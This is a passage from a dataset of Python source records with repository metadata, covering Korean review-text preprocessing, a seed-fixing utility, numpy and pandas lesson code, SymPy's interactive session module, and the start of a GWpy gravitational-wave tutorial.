\ucd1d 20\ub9cc \uac1c\uc758 \uc601\ud654 \ub9ac\ubdf0\ub97c \uae0d\uc815 1, \ubd80\uc815 0\uc73c\ub85c \ub808\uc774\ube14\ub9c1\ud55c \ub370\uc774\ud130\uc785\ub2c8\ub2e4.\n#\n# ```\n# pip3 install pandas\n# ```\n\nimport urllib.request\nimport pandas as pd\nfrom konlpy.tag import Mecab\nfrom nltk import FreqDist\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nurllib.request.urlretrieve(\n    url=\"https://raw.githubusercontent.com/e9t/nsmc/master/ratings.txt\",\n    filename=\".ratings.txt\"\n)\n\ndata = pd.read_table(\".ratings.txt\")\nmu.log(\"len(data)\", len(data))\nmu.log(\"data[:10]\", data[:10])\nsample_data = data[:100]\n\n# \ubd88\uc6a9\uc5b4 \uc815\uc758\nstopwords = ['\uc758', '\uac00', '\uc774', '\uc740', '\ub4e4', '\ub294', '\uc880', '\uc798', '\uac4d', '\uacfc', '\ub3c4', '\ub97c', '\uc73c\ub85c', '\uc790', '\uc5d0', '\uc640', '\ud55c', '\ud558\ub2e4']\ntokenized = []\n\nfor sentence in sample_data[\"document\"]:\n    temp = []\n    temp = tokenizer.morphs(sentence)\n\n    temp = [\n        word\n        for word in temp\n        if not word in stopwords\n    ]\n\n    tokenized.append(temp)\n\nmu.log(\"tokenized[:10]\", tokenized[:10])\n\nvocab = FreqDist(np.hstack(tokenized))\nmu.log(\"len(vocab)\", len(vocab))\nmu.log(\"vocab['\uc7ac\ubc0c']\", vocab['\uc7ac\ubc0c'])\n\n################################################################################\n# - \uac01 \ub2e8\uc5b4\uc5d0 \uace0\uc720\ud55c \uc815\uc218 \ubd80\uc5ec\n#   - enumerate()\ub294 \uc21c\uc11c\uac00 \uc788\ub294 \uc790\ub8cc\ud615(list, set, tuple, dictionary, string)\uc744 \uc785\ub825\uc73c\ub85c \ubc1b\uc544\n#   - \uc778\ub371\uc2a4\ub97c \uc21c\ucc28\uc801\uc73c\ub85c \ud568\uaed8 \ub9ac\ud134\ud55c\ub2e4\ub294 \ud2b9\uc9d5\uc774 \uc788\uc2b5\ub2c8\ub2e4.\n#   - \uc778\ub371\uc2a4 0\uacfc 1\uc740 \ub2e4\ub978 \uc6a9\ub3c4\ub85c \ub0a8\uaca8\ub450\uace0 \ub098\uba38\uc9c0 \ub2e8\uc5b4\ub4e4\uc740 2\ubd80\ud130 501\uae4c\uc9c0 \uc21c\ucc28\uc801\uc73c\ub85c \uc778\ub371\uc2a4\ub97c \ubd80\uc5ec\ud574\ubd05\uc2dc\ub2e4.\n\nword_to_index = {\n    word[0]: index + 2\n    for index, word in enumerate(vocab)\n}\n\nword_to_index[\"pad\"] = 0\nword_to_index[\"unk\"] = 1\nmu.log(\"len(word_to_index)\", len(word_to_index))\n\nencoded = []\n\nfor line in tokenized:\n    temp = []\n    for w in line:\n        try:\n            temp.append(word_to_index[w])\n        except:\n            temp.append(word_to_index[\"unk\"])\n    encoded.append(temp)\n\nmu.log(\"len(encoded)\", len(encoded))\nmu.log(\"encoded[:10]\", encoded[:10])\n\n################################################################################\n# - \uae38\uc774\uac00 \ub2e4\ub978 \ubb38\uc7a5\ub4e4\uc744 \ubaa8\ub450 \ub3d9\uc77c\ud55c \uae38\uc774\ub85c \ubc14\uafd4\uc8fc\ub294 \ud328\ub529(padding)\n#   - \uc774\uc81c \uae38\uc774\uac00 \ub2e4\ub978 \ub9ac\ubdf0\ub4e4\uc744 \ubaa8\ub450 \ub3d9\uc77c\ud55c \uae38\uc774\ub85c \ubc14\uafd4\uc8fc\ub294 \ud328\ub529 \uc791\uc5c5\uc744 \uc9c4\ud589\ud574\ubcf4\uaca0\uc2b5\ub2c8\ub2e4.\n#   - \uc55e\uc11c \ub2e8\uc5b4 \uc9d1\ud569\uc5d0 \ud328\ub529\uc744 \uc704\ud55c \ud1a0\ud070\uc778 'pad'\ub97c \ucd94\uac00\ud588\uc5c8\uc2b5\ub2c8\ub2e4.\n#   - \ud328\ub529 \uc791\uc5c5\uc740 \uc815\ud574\uc900 \uae38\uc774\ub85c \ubaa8\ub4e0 \uc0d8\ud50c\ub4e4\uc758 \uae38\uc774\ub97c \ub9de\ucdb0\uc8fc\ub418,\n#   - \uae38\uc774\uac00 \uc815\ud574\uc900 \uae38\uc774\ubcf4\ub2e4 \uc9e7\uc740 \uc0d8\ud50c\ub4e4\uc5d0\ub294 'pad' \ud1a0\ud070\uc744 \ucd94\uac00\ud558\uc5ec \uae38\uc774\ub97c \ub9de\ucdb0\uc8fc\ub294 \uc791\uc5c5\uc785\ub2c8\ub2e4.\n\nlen_array = []\nfor line in encoded:\n    len_array.append(len(line))\n\nmax_len = max(len_array)\nmu.log(\"max_len\", max_len)\nmin_len = min(len_array)\nmu.log(\"min_len\", min_len)\n\nplt.hist(len_array, bins=50, label=\"count of sample\")\nplt.xlabel(\"length of sample\")\nplt.legend()\nplt.show()\n\nmu.log(\"encoded[:3]\", encoded[:3])\n", "meta": {"hexsha": "2d487631ceb47d23afc177dbcaff7a5933d3f7c3", "size": 4655, "ext": "py", "lang": "Python", "max_stars_repo_path": "0801_lang_preprocess.py", "max_stars_repo_name": "HyundongHwang/PyTorchDeepLearningStart", "max_stars_repo_head_hexsha": "84e4f3e7f679da77d8ec05d7b5b95b22abbba443", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "0801_lang_preprocess.py", "max_issues_repo_name": "HyundongHwang/PyTorchDeepLearningStart", "max_issues_repo_head_hexsha": "84e4f3e7f679da77d8ec05d7b5b95b22abbba443", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "0801_lang_preprocess.py", "max_forks_repo_name": "HyundongHwang/PyTorchDeepLearningStart", "max_forks_repo_head_hexsha": "84e4f3e7f679da77d8ec05d7b5b95b22abbba443", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.7182320442, "max_line_length": 104, "alphanum_fraction": 0.544575725, "include": true, "reason": "import numpy", "num_tokens": 1812, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.11279541523008142, "lm_q1q2_score": 0.05112585835484954}}
{"text": "import numpy as np\nimport torch\nimport random\n\n\ndef fixseed(seed):\n    random.seed(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n\n\nSEED = 10\nEVALSEED = 0\n# Provoc warning: not fully functionnal yet\n# torch.set_deterministic(True)\ntorch.backends.cudnn.benchmark = False\n\nfixseed(SEED)\n", "meta": {"hexsha": "a43a273b138c45dccafef4da3628dd4c2a3f84a4", "size": 297, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/utils/fixseed.py", "max_stars_repo_name": "Immocat/ACTOR", "max_stars_repo_head_hexsha": "c7237e82e333bf2c57f7d8e12f27d0831233befc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 164, "max_stars_repo_stars_event_min_datetime": "2021-09-06T12:43:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T02:33:38.000Z", "max_issues_repo_path": "src/utils/fixseed.py", "max_issues_repo_name": "Immocat/ACTOR", "max_issues_repo_head_hexsha": "c7237e82e333bf2c57f7d8e12f27d0831233befc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 14, "max_issues_repo_issues_event_min_datetime": "2021-09-17T00:42:24.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-07T04:18:12.000Z", "max_forks_repo_path": "src/utils/fixseed.py", "max_forks_repo_name": "Immocat/ACTOR", "max_forks_repo_head_hexsha": "c7237e82e333bf2c57f7d8e12f27d0831233befc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 27, "max_forks_repo_forks_event_min_datetime": "2021-09-07T04:38:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T00:37:10.000Z", "avg_line_length": 15.6315789474, "max_line_length": 43, "alphanum_fraction": 0.7441077441, "include": true, "reason": "import numpy", "num_tokens": 81, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.11279541224768529, "lm_q1q2_score": 0.05112585700304315}}
{"text": "# height and weight are available as a regular lists\r\n\r\n# Import numpy\r\nimport numpy as np\r\n\r\n# Store weight and height lists as numpy arrays\r\nnp_weight = np.array(weight)\r\nnp_height = np.array(height)\r\n\r\n# Print out the weight at index 50\r\nprint(np_weight[50])\r\n\r\n# Print out sub-array of np_height: index 100 up to and including index 110\r\nprint(np_height[100:111])", "meta": {"hexsha": "0cfb036f48078cdf0432d1d5ffda39cbf52d63ca", "size": 367, "ext": "py", "lang": "Python", "max_stars_repo_path": "lab-416.py", "max_stars_repo_name": "ZaraTam/DAT208x", "max_stars_repo_head_hexsha": "21b31d640e1f0e03525c3a18b6ef83a73bf2d644", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2016-06-09T18:54:16.000Z", "max_stars_repo_stars_event_max_datetime": "2016-06-09T18:54:16.000Z", "max_issues_repo_path": "lab-416.py", "max_issues_repo_name": "ZaraTam/DAT208x", "max_issues_repo_head_hexsha": "21b31d640e1f0e03525c3a18b6ef83a73bf2d644", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lab-416.py", "max_forks_repo_name": "ZaraTam/DAT208x", "max_forks_repo_head_hexsha": "21b31d640e1f0e03525c3a18b6ef83a73bf2d644", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.2142857143, "max_line_length": 76, "alphanum_fraction": 0.7384196185, "include": true, "reason": "import numpy", "num_tokens": 88, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.11279539882690351, "lm_q1q2_score": 0.051125850919914805}}
{"text": "import pandas as pd\r\nimport numpy as np\r\nfrom collections import defaultdict\r\nimport RemovingValuesSolns as s\r\n\r\n## Removing Values\r\n# Question 1\r\ndef all_drop_test(all_drop):\r\n    '''\r\n    INPUT all_drop - a pandas dataframe with all rows with missing values dropped.\r\n\r\n    Prints statement related to the correctness of the solution of the dataframe\r\n    '''\r\n    if all_drop.equals(s.all_drop):\r\n        print(\"Nice job! That looks right!\")\r\n    else:\r\n        print(\"That wasn't quite as expected.  Try again, or take a look at the solution notebook if you get stuck.\")\r\n\r\n\r\n# Question 2\r\ndef all_row_test(all_row):\r\n    '''\r\n    INPUT all_row - a pandas dataframe with all rows that have every value as a missing value dropped.\r\n\r\n    Prints statement related to the correctness of the solution of the dataframe\r\n    '''\r\n    if all_row.equals(s.all_row):\r\n        print(\"Nice job! That looks right!\")\r\n    else:\r\n        print(\"That wasn't quite as expected.  Try again, or take a look at the solution notebook if you get stuck.\")\r\n\r\n# Question 3\r\ndef only3_drop_test(only3_drop):\r\n    '''\r\n    INPUT all_row - a pandas dataframe with all rows that are missing a value in col3\r\n\r\n    Prints statement related to the correctness of the solution of the dataframe\r\n    '''\r\n    if only3_drop.equals(s.only3_drop):\r\n        print(\"Nice job! That looks right!\")\r\n    else:\r\n        print(\"That wasn't quite as expected.  Try again, or take a look at the solution notebook if you get stuck.\")\r\n\r\n# Question 4\r\ndef only3or1_drop_test(only3or1_drop):\r\n    '''\r\n    INPUT all_row - a pandas dataframe with all rows that are missing a value in col1 or col3\r\n\r\n    Prints statement related to the correctness of the solution of the dataframe\r\n    '''\r\n    if only3or1_drop.equals(s.only3or1_drop):\r\n        print(\"Nice job! That looks right!\")\r\n    else:\r\n        print(\"That wasn't quite as expected.  Try again, or take a look at the solution notebook if you get stuck.\")\r\n\r\n", "meta": {"hexsha": "9ba40ec49ebd06c3fdb30d28a4c01b388feaa24a", "size": 1973, "ext": "py", "lang": "Python", "max_stars_repo_path": "lessons/CRISP_DM/RemovingValues.py", "max_stars_repo_name": "aauss/DSND_Term2", "max_stars_repo_head_hexsha": "ff1ff8edc208652c29bfc25f18c610a02dc9d299", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lessons/CRISP_DM/RemovingValues.py", "max_issues_repo_name": "aauss/DSND_Term2", "max_issues_repo_head_hexsha": "ff1ff8edc208652c29bfc25f18c610a02dc9d299", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lessons/CRISP_DM/RemovingValues.py", "max_forks_repo_name": "aauss/DSND_Term2", "max_forks_repo_head_hexsha": "ff1ff8edc208652c29bfc25f18c610a02dc9d299", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2321428571, "max_line_length": 118, "alphanum_fraction": 0.6832235175, "include": true, "reason": "import numpy", "num_tokens": 445, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.14223189500989633, "lm_q1q2_score": 0.05111304336473277}}
{"text": "\"\"\"Tools for setting up interactive sessions. \"\"\"\n\nfrom sympy.interactive.printing import init_printing\n\npreexec_source = \"\"\"\\\nfrom __future__ import division\nfrom sympy import *\nx, y, z, t = symbols('x y z t')\nk, m, n = symbols('k m n', integer=True)\nf, g, h = symbols('f g h', cls=Function)\n\"\"\"\n\nverbose_message = \"\"\"\\\nThese commands were executed:\n%(source)s\nDocumentation can be found at http://www.sympy.org\n\"\"\"\n\nno_ipython = \"\"\"\\\nCouldn't locate IPython. Having IPython installed is greatly recommended.\nSee http://ipython.scipy.org for more details. If you use Debian/Ubuntu,\njust install the 'ipython' package and start isympy again.\n\"\"\"\n\ndef _make_message(ipython=True, quiet=False, source=None):\n    \"\"\"Create a banner for an interactive session. \"\"\"\n    from sympy import __version__ as sympy_version\n    from sympy.polys.domains import GROUND_TYPES\n    from sympy.utilities.misc import ARCH\n    from sympy import SYMPY_DEBUG\n\n    import sys\n    import os\n\n    python_version = \"%d.%d.%d\" % sys.version_info[:3]\n\n    if ipython:\n        shell_name = \"IPython\"\n    else:\n        shell_name = \"Python\"\n\n    info = ['ground types: %s' % GROUND_TYPES]\n\n    cache = os.getenv('SYMPY_USE_CACHE')\n\n    if cache is not None and cache.lower() == 'no':\n        info.append('cache: off')\n\n    if SYMPY_DEBUG:\n        info.append('debugging: on')\n\n    args = shell_name, sympy_version, python_version, ARCH, ', '.join(info)\n    message = \"%s console for SymPy %s (Python %s-%s) (%s)\\n\" % args\n\n    if not quiet:\n        if source is None:\n            source = preexec_source\n\n        _source = \"\"\n\n        for line in source.split('\\n')[:-1]:\n            if not line:\n                _source += '\\n'\n            else:\n                _source += '>>> ' + line + '\\n'\n\n        message += '\\n' + verbose_message % {'source': _source}\n\n    return message\n\ndef int_to_Integer(s):\n    \"\"\"\n    Wrap integer literals with Integer.\n\n    This is based on the decistmt example from\n    http://docs.python.org/library/tokenize.html.\n\n    Only integer literals are converted.  Float literals are left alone.\n    Example\n    =======\n\n    >>> from sympy.interactive.session import int_to_Integer\n    >>> from sympy import Integer\n    >>> s = '1.2 + 1/2 - 0x12 + a1'\n    >>> int_to_Integer(s)\n    '1.2 +Integer (1 )/Integer (2 )-Integer (0x12 )+a1 '\n    >>> s = 'print (1/2)'\n    >>> int_to_Integer(s)\n    'print (Integer (1 )/Integer (2 ))'\n    >>> exec(s) #doctest: +SKIP\n    0.5\n    >>> exec(int_to_Integer(s))\n    1/2\n    \"\"\"\n    from tokenize import generate_tokens, untokenize, NUMBER, NAME, OP\n    from StringIO import StringIO\n\n    def _is_int(num):\n        \"\"\"\n        Returns true if string value num (with token NUMBER) represents an integer.\n        \"\"\"\n        # XXX: Is there something in the standard library that will do this?\n        if '.' in num or 'j' in num.lower() or 'e' in num.lower():\n            return False\n        return True\n\n    result = []\n    g = generate_tokens(StringIO(s).readline)   # tokenize the string\n    for toknum, tokval, _, _, _  in g:\n        if toknum == NUMBER and _is_int(tokval):  # replace NUMBER tokens\n            result.extend([\n                (NAME, 'Integer'),\n                (OP, '('),\n                (NUMBER, tokval),\n                (OP, ')')\n            ])\n        else:\n            result.append((toknum, tokval))\n    return untokenize(result)\n\n# XXX: Something like this might be used, but it only works on single line\n# inputs.  See\n# http://mail.scipy.org/pipermail/ipython-user/2012-August/010846.html and\n# https://github.com/ipython/ipython/issues/1491.  So instead we are forced to\n# just monkey-patch run_cell until IPython builds a better API.\n#\n# class IntTransformer(object):\n#     \"\"\"\n#     IPython command line transformer that recognizes and replaces int\n#     literals.\n#\n#     Based on\n#     https://bitbucket.org/birkenfeld/ipython-physics/src/71b2d850da00/physics.py.\n#\n#     \"\"\"\n#     priority = 99\n#     enabled = True\n#     def transform(self, line, continue_prompt):\n#         import re\n#         from tokenize import TokenError\n#         leading_space = re.compile(' *')\n#         spaces = re.match(leading_space, line).span()[1]\n#         try:\n#             return ' '*spaces + int_to_Integer(line)\n#         except TokenError:\n#             return line\n#\n# int_transformer = IntTransformer()\n#\n# def enable_automatic_int_sympification(app):\n#     \"\"\"\n#     Allow IPython to automatically convert integer literals to Integer.\n#\n#     This lets things like 1/2 be executed as (essentially) Rational(1, 2).\n#     \"\"\"\n#     app.shell.prefilter_manager.register_transformer(int_transformer)\n\ndef enable_automatic_int_sympification(app):\n    \"\"\"\n    Allow IPython to automatically convert integer literals to Integer.\n    \"\"\"\n    hasshell = hasattr(app, 'shell')\n\n    import ast\n    if hasshell:\n        old_run_cell = app.shell.run_cell\n    else:\n        old_run_cell = app.run_cell\n    def my_run_cell(cell, *args, **kwargs):\n        try:\n            # Check the cell for syntax errors.  This way, the syntax error\n            # will show the original input, not the transformed input.  The\n            # downside here is that IPython magic like %timeit will not work\n            # with transformed input (but on the other hand, IPython magic\n            # that doesn't expect transformed input will continue to work).\n            ast.parse(cell)\n        except SyntaxError:\n            pass\n        else:\n            cell = int_to_Integer(cell)\n        old_run_cell(cell, *args, **kwargs)\n\n    if hasshell:\n        app.shell.run_cell = my_run_cell\n    else:\n        app.run_cell = my_run_cell\n\ndef enable_automatic_symbols(app):\n    \"\"\"Allow IPython to automatially create symbols (``isympy -a``). \"\"\"\n    # XXX: This should perhaps use tokenize, like int_to_Integer() above.\n    # This would avoid re-executing the code, which can lead to subtle\n    # issues.  For example:\n    #\n    # In [1]: a = 1\n    #\n    # In [2]: for i in range(10):\n    #    ...:     a += 1\n    #    ...:\n    #\n    # In [3]: a\n    # Out[3]: 11\n    #\n    # In [4]: a = 1\n    #\n    # In [5]: for i in range(10):\n    #    ...:     a += 1\n    #    ...:     print b\n    #    ...:\n    # b\n    # b\n    # b\n    # b\n    # b\n    # b\n    # b\n    # b\n    # b\n    # b\n    #\n    # In [6]: a\n    # Out[6]: 12\n    #\n    # Note how the for loop is executed again because `b` was not defined, but `a`\n    # was already incremented once, so the result is that it is incremented\n    # multiple times.\n\n    import re\n    re_nameerror = re.compile(\"name '(?P<symbol>[A-Za-z_][A-Za-z0-9_]*)' is not defined\")\n\n    def _handler(self, etype, value, tb, tb_offset=None):\n        \"\"\"Handle :exc:`NameError` exception and allow injection of missing symbols. \"\"\"\n        if etype is NameError and tb.tb_next and not tb.tb_next.tb_next:\n            match = re_nameerror.match(str(value))\n\n            if match is not None:\n                # XXX: Make sure Symbol is in scope. Otherwise you'll get infinite recursion.\n                self.run_cell(\"%(symbol)s = Symbol('%(symbol)s')\" %\n                    {'symbol': match.group(\"symbol\")}, store_history=False)\n\n                try:\n                    code = self.user_ns['In'][-1]\n                except (KeyError, IndexError):\n                    pass\n                else:\n                    self.run_cell(code, store_history=False)\n                    return None\n                finally:\n                    self.run_cell(\"del %s\" % match.group(\"symbol\"),\n                                  store_history=False)\n\n        stb = self.InteractiveTB.structured_traceback(etype, value, tb, tb_offset=tb_offset)\n        self._showtraceback(etype, value, stb)\n\n    if hasattr(app, 'shell'):\n        app.shell.set_custom_exc((NameError,), _handler)\n    else:\n        # This was restructured in IPython 0.13\n        app.set_custom_exc((NameError,), _handler)\n\ndef init_ipython_session(argv=[], auto_symbols=False, auto_int_to_Integer=False):\n    \"\"\"Construct new IPython session. \"\"\"\n    import IPython\n\n    if IPython.__version__ >= '0.11':\n        # use an app to parse the command line, and init config\n        from IPython.frontend.terminal import ipapp\n        app = ipapp.TerminalIPythonApp()\n\n        # don't draw IPython banner during initialization:\n        app.display_banner = False\n        app.initialize(argv)\n\n        if auto_symbols:\n            enable_automatic_symbols(app)\n        if auto_int_to_Integer:\n            enable_automatic_int_sympification(app)\n\n        return app.shell\n    else:\n        from IPython.Shell import make_IPython\n        return make_IPython(argv)\n\ndef init_python_session():\n    \"\"\"Construct new Python session. \"\"\"\n    from code import InteractiveConsole\n\n    class SymPyConsole(InteractiveConsole):\n        \"\"\"An interactive console with readline support. \"\"\"\n\n        def __init__(self):\n            InteractiveConsole.__init__(self)\n\n            try:\n                import readline\n            except ImportError:\n                pass\n            else:\n                import os\n                import atexit\n\n                readline.parse_and_bind('tab: complete')\n\n                if hasattr(readline, 'read_history_file'):\n                    history = os.path.expanduser('~/.sympy-history')\n\n                    try:\n                        readline.read_history_file(history)\n                    except IOError:\n                        pass\n\n                    atexit.register(readline.write_history_file, history)\n\n    return SymPyConsole()\n\ndef init_session(ipython=None, pretty_print=True, order=None,\n        use_unicode=None, quiet=False, auto_symbols=False, auto_int_to_Integer=False, argv=[]):\n    \"\"\"\n    Initialize an embedded IPython or Python session. The IPython session is\n    initiated with the --pylab option, without the numpy imports, so that\n    matplotlib plotting can be interactive.\n\n    Parameters\n    ==========\n\n    pretty_print: boolean\n        If True, use pretty_print to stringify;\n        if False, use sstrrepr to stringify.\n    order: string or None\n        There are a few different settings for this parameter:\n        lex (default), which is lexographic order;\n        grlex, which is graded lexographic order;\n        grevlex, which is reversed graded lexographic order;\n        old, which is used for compatibility reasons and for long expressions;\n        None, which sets it to lex.\n    use_unicode: boolean or None\n        If True, use unicode characters;\n        if False, do not use unicode characters.\n    quiet: boolean\n        If True, init_session will not print messages regarding its status;\n        if False, init_session will print messages regarding its status.\n    auto_symbols: boolean\n        If True, IPython will automatically create symbols for you.\n        If False, it will not.\n        The default is False.\n    auto_int_to_Integer: boolean\n        If True, IPython will automatically wrap int literals with Integer, so\n        that things like 1/2 give Rational(1, 2).\n        If False, it will not.\n        The default is False.\n    ipython: boolean or None\n        If True, printing will initialize for an IPython console;\n        if False, printing will initialize for a normal console;\n        The default is None, which does what False does.\n    argv: list of arguments for IPython\n        See sympy.bin.isympy for options that can be used to initialize IPython.\n\n    See Also\n    ========\n\n    sympy.interactive.printing.init_printing: for examples and the rest of the parameters.\n\n\n    Examples\n    ========\n\n    >>> from sympy import init_session, Symbol, sin, sqrt\n    >>> sin(x) #doctest: +SKIP\n    NameError: name 'x' is not defined\n    >>> init_session() #doctest: +SKIP\n    >>> sin(x) #doctest: +SKIP\n    sin(x)\n    >>> sqrt(5) #doctest: +SKIP\n      ___\n    \\/ 5\n    >>> init_session(pretty_print=False) #doctest: +SKIP\n    >>> sqrt(5) #doctest: +SKIP\n    sqrt(5)\n    >>> y + x + y**2 + x**2 #doctest: +SKIP\n    x**2 + x + y**2 + y\n    >>> init_session(order='grlex') #doctest: +SKIP\n    >>> y + x + y**2 + x**2 #doctest: +SKIP\n    x**2 + y**2 + x + y\n    >>> init_session(order='grevlex') #doctest: +SKIP\n    >>> y * x**2 + x * y**2 #doctest: +SKIP\n    x**2*y + x*y**2\n    >>> init_session(order='old') #doctest: +SKIP\n    >>> x**2 + y**2 + x + y #doctest: +SKIP\n    x + y + x**2 + y**2\n    >>> theta = Symbol('theta') #doctest: +SKIP\n    >>> theta #doctest: +SKIP\n    theta\n    >>> init_session(use_unicode=True) #doctest: +SKIP\n    >>> theta # doctest: +SKIP\n    \\u03b8\n    \"\"\"\n    import sys\n\n    in_ipython = False\n\n    if ipython is False:\n        ip = init_python_session()\n        mainloop = ip.interact\n    else:\n        try:\n            import IPython\n        except ImportError:\n            if ipython is not True:\n                if not quiet:\n                    print no_ipython\n                ip = init_python_session()\n                mainloop = ip.interact\n            else:\n                raise RuntimeError(\"IPython is not available on this system\")\n        else:\n            ipython = True\n\n            if IPython.__version__ >= '0.11':\n                try:\n                    ip = get_ipython()\n                except NameError:\n                    ip = None\n            else:\n                ip = IPython.ipapi.get()\n                if ip:\n                    ip = ip.IP\n\n            if ip is not None:\n                in_ipython = True\n            else:\n                ip = init_ipython_session(argv=argv,\n                    auto_symbols=auto_symbols, auto_int_to_Integer=auto_int_to_Integer)\n\n            if IPython.__version__ >= '0.11':\n                # runsource is gone, use run_cell instead, which doesn't\n                # take a symbol arg.  The second arg is `store_history`,\n                # and False means don't add the line to IPython's history.\n                ip.runsource = lambda src, symbol='exec': ip.run_cell(src, False)\n\n                #Enable interactive plotting using pylab.\n                try:\n                    ip.enable_pylab(import_all=False)\n                except ImportError:\n                    #Causes an import error if matplotlib is not installed.\n                    pass\n            if not in_ipython:\n                mainloop = ip.mainloop\n\n    if auto_symbols and (not ipython or IPython.__version__ < '0.11'):\n        raise RuntimeError(\"automatic construction of symbols is possible only in IPython 0.11 or above\")\n    if auto_int_to_Integer and (not ipython or IPython.__version__ < '0.11'):\n        raise RuntimeError(\"automatic int to Integer transformation is possible only in IPython 0.11 or above\")\n\n    _preexec_source = preexec_source\n\n    ip.runsource(_preexec_source, symbol='exec')\n    init_printing(pretty_print=pretty_print, order=order, use_unicode=use_unicode, ip=ip)\n\n    message = _make_message(ipython, quiet, _preexec_source)\n\n    if not in_ipython:\n        mainloop(message)\n        sys.exit('Exiting ...')\n    else:\n        ip.write(message)\n        ip.set_hook('shutdown_hook', lambda ip: ip.write(\"Exiting ...\\n\"))\n", "meta": {"hexsha": "e6b20cf8cc610f36665e9f99ce6007046a71fb38", "size": 15104, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/interactive/session.py", "max_stars_repo_name": "sn6uv/sympy", "max_stars_repo_head_hexsha": "5b149c2f72847e4785c65358b09d99b29f101dd5", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sympy/interactive/session.py", "max_issues_repo_name": "sn6uv/sympy", "max_issues_repo_head_hexsha": "5b149c2f72847e4785c65358b09d99b29f101dd5", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/interactive/session.py", "max_forks_repo_name": "sn6uv/sympy", "max_forks_repo_head_hexsha": "5b149c2f72847e4785c65358b09d99b29f101dd5", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.4120171674, "max_line_length": 111, "alphanum_fraction": 0.5929555085, "include": true, "reason": "from sympy", "num_tokens": 3689, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34510525748676846, "lm_q2_score": 0.14804719427274568, "lm_q1q2_score": 0.05109186509968953}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;padding: 1.3em\" src=\"https://indico.in2p3.fr/event/18313/logo-786578160.png\">  \n# \n# #  Gravitational Wave Open Data Workshop #3\n# \n# \n# #### Tutorial 1.2: Introduction to GWpy\n# \n# This tutorial will briefly describe GWpy, a python package for gravitational astrophysics, and walk-through how you can use this to speed up access to, and processing of, GWOSC data.\n#     \n# [Click this link to view this tutorial in Google Colaboratory](https://colab.research.google.com/github/gw-odw/odw-2019/blob/master/Day_1/Tuto%201.2%20Open%20Data%20access%20with%20GWpy.ipynb)\n# \n# <div class=\"alert alert-info\">This notebook were generated using python 3.7, but should work on python 2.7, 3.6, or 3.7.</div>\n\n# ##  Installation  (execute only if running on a cloud platform or if you haven't done the installation already!)\n# \n# Note: we use [`pip`](https://docs.python.org/3.6/installing/), but **it is recommended** to use [conda](https://docs.ligo.org/lscsoft/conda/) on your own machine, as explained in the [installation instructions](https://github.com/gw-odw/odw-2019/blob/master/setup.md). This usage might look a little different than normal, simply because we want to do this directly from the notebook.\n\n# In[2]:\n\n\n# -- Uncomment following line if running in Google Colab\n#! pip install -q 'gwpy==1.0.1'\n\n\n# **Important:** With Google Colab, you may need to restart the runtime after running the cell above.\n\n# ## Initialization\n\n# In[1]:\n\n\nimport gwpy\nprint(gwpy.__version__)\n\n\n# ## A note on object-oriented programming\n# \n# Before we dive too deeply, its worth a quick aside on object-oriented programming (OOP).\n# GWpy is heavily object-oriented, meaning almost all of the code you run using GWpy is based around an object of some type, e.g. `TimeSeries`.\n# Most of the methods (functions) we will use are attached to an object, rather than standing alone, meaning you should have a pretty good idea of what sort of data you are dealing with (without having to read the documentation!).\n# \n# For a quick overview of object-oriented programming in Python, see [this blog post by Jeff Knupp](https://jeffknupp.com/blog/2014/06/18/improve-your-python-python-classes-and-object-oriented-programming/).\n\n# ## Handling data in the time domain\n\n# #### Finding open data\n# \n# We have seen already that the 